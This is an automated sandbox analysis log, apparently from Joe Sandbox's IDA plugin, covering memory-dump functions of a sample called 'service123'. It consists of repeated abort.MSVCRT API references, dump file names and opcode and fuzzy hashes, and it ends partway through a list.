abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ff59b1c34b402d022807c44dc0658ba297f268564da4249bcaed4897ba97e5e8
Instruction ID: 1c52ddb106955f7e30de182fb21894480ed74647aaee8f99432be5f69c72f299
Opcode Fuzzy Hash: ff59b1c34b402d022807c44dc0658ba297f268564da4249bcaed4897ba97e5e8
Instruction Fuzzy Hash: 2AF044B1501201CBD724EF58D2A9B6AB7B0FB62308F019E58C414ABA02E735E429CB95

Function 6C7A2AAD Relevance: 42.1, APIs: 28, Instructions: 65COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 5a60f0a279d5ab2c7d3b7ea6f512becadaad151f2b5245ea4bbc78d4fb472439
Instruction ID: 79c178a360ba75802570f6f235dc61f163a5ee5ae07bdb2e5b9d3b072208f700
Opcode Fuzzy Hash: 5a60f0a279d5ab2c7d3b7ea6f512becadaad151f2b5245ea4bbc78d4fb472439
Instruction Fuzzy Hash: BEF017B1505212CBD724EF19C299B6AB770FF53308F019E58C415ABE46EB35E429CF91

Function 6C7AB930 Relevance: 40.6, APIs: 27, Instructions: 135COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: abb0b2bf13021719d73e3ffa06ae79df47a0efb50a7b2d1246f68d090af40624
Instruction ID: 7187acef9f40cdd6085932dc39cd26a84fb0f5e89d9315cb3daf4f23c747eea6
Opcode Fuzzy Hash: abb0b2bf13021719d73e3ffa06ae79df47a0efb50a7b2d1246f68d090af40624
Instruction Fuzzy Hash: 8431273120970CDFC3108ED9C691396BBE5EB8A314F408A3AE65487B51E334BC16DB55

Function 6C7ABFCC Relevance: 39.1, APIs: 26, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction ID: 8fb901fa954e7d9d0d3a06cd851c85e0834f42b7dbeab2947fc9441d45b228a7
Opcode Fuzzy Hash: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction Fuzzy Hash: EBF027356CC03EDA87242FED87144A57373B69730DB9A0A62C4807BF14D222E403C251

Function 6C7ABEE7 Relevance: 37.6, APIs: 25, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee4202c1ad0b85725f262932e8790025d20152702d3fa5acf45aec60315f6c6
Instruction ID: 29de98e0fb74974f2f38a8eacccb64188bba769486d71d82ab23609a206239cb
Opcode Fuzzy Hash: eee4202c1ad0b85725f262932e8790025d20152702d3fa5acf45aec60315f6c6
Instruction Fuzzy Hash: FC019073A45A2A07E3144EB4C6E1361BA926FC7318F1DC779CD7527E8AC274B80AE750

Function 6C7ABC1B Relevance: 37.6, APIs: 25, Instructions: 55COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction ID: 37fd3b2bf23d0fc7cd68a72a8115e4f983c5226604a869635c436bb999e1ada8
Opcode Fuzzy Hash: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction Fuzzy Hash: 56E0863264932D8786206DD8F7450AEB2549B53359F111D28C529B3D01D352E809C2C2

Function 6C7ABE70 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction ID: 82ce9f067b69a7eeea046b14e4a6a4675f870500ad5c7d5d61a6e0f5c1675562
Opcode Fuzzy Hash: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction Fuzzy Hash: 4DD01734189719CF8310EF48D3988A9B7F5AB5B305B019E69C409A7B20D632D808CA01

Function 6C7ABE00 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction ID: bbbbf05bfb91e21a0719fd7ce961f053536d742e2e9ed027351b1220093c4451
Opcode Fuzzy Hash: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction Fuzzy Hash: 49D0A73054D12BCB8B045F6C839D8ADF7F57B5730871A5DA4C015F3E05E631EA0AC604

Function 6C7ABDC7 Relevance: 37.5, APIs: 25, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
